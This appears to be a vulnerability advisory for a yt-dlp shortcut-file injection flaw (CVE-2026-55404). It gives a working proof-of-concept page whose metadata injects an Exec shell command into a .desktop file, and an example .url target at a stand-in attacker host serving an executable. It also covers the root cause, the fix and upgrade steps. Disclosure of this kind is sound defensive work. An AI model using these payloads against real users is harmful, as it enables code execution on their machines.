high · 7.5CVE-2026-55404Jul 24, 2026

CVE-2026-55404: yt-dlp Shortcut File Injection Leading to Remote Code Execution

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

When yt-dlp writes shortcut files with --write-link, attacker-controlled video metadata can inject shell commands into Linux .desktop files or point Windows .url files at remote executables, causing…

Packageyt-dlp
Ecosystempip
Affected< 2026.7.4
Fixed in2026.7.4
CVE-2026-55404: yt-dlp Shortcut File Injection Leading to Remote Code Execution

The problem

yt-dlp's --write-link, --write-url-link, and --write-desktop-link options write shortcut files whose content is sourced from media metadata, including the webpage_url and filename fields. Neither field was validated or sanitized before being written to the output file.

On Windows, an attacker can set webpage_url to a file:// URI pointing to a remote executable (e.g. file://attacker.example/evil.exe), and Windows will run it when the user double-clicks the .url shortcut. On Linux, when --no-windows-filenames is also passed, the filename field is written without newline stripping.

An attacker who controls the page title can inject newline characters to add arbitrary keys to the .desktop file, overriding the Type from Link to Application and supplying an Exec line with a shell command.

Proof of concept

A working proof-of-concept for CVE-2026-55404 in yt-dlp, with the exact payload below.

html
<!-- Attacker-served page at https://example.org/123 -->
<html>
<script type="application/ld+json">{
    "@context": "https://schema.org",
    "@type": "VideoObject",
    "name":"Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle",
    "contentUrl": "https://example.org/video.mp4"
}</script>
</html>

<!-- Victim runs: -->
yt-dlp --write-desktop-link --no-windows-filenames "https://example.org/123"

<!-- Resulting .desktop file written to disk: -->
[Desktop Entry]
Encoding=UTF-8
Name=Stream
Type=Application
Exec=sh -c "touch /tmp/pwned"

[newgroup]
Name=endtitle [123]
Type=Link
URL=https://example.org/123
Icon=text-html

The root cause is that yt-dlp passed the raw filename template value directly into the .desktop file format without escaping newline characters. The freedesktop.org desktop entry format uses newlines as key separators, so an embedded newline in the Name value terminates that key and starts a new one.

The attacker appends Type=Application and an Exec key in the same injection, completely overriding the intended Link-type shortcut. Commit 6fc85f6 (2024.12.23) had widened the attack surface by making --no-windows-filenames skip all filename sanitization on Unix, removing the newline-replacement step that previously blocked this.

The fix in commit b6590aaa adds explicit validation of the URL scheme before writing any shortcut file, and escapes newlines in all desktop entry values per the freedesktop.org spec (replacing literal newlines with their \n escape sequence).

The fix

Upgrade yt-dlp to version 2026.7.4 or later. The patch validates the URL scheme for .url shortcut output and escapes all special characters (including newlines) in .desktop entry values. If you cannot upgrade immediately, stop using --write-link, --write-url-link, and --write-desktop-link until you can. pip install --upgrade yt-dlp

Reported by bashonly.

References: [1][2][3][4][5][6]

Related research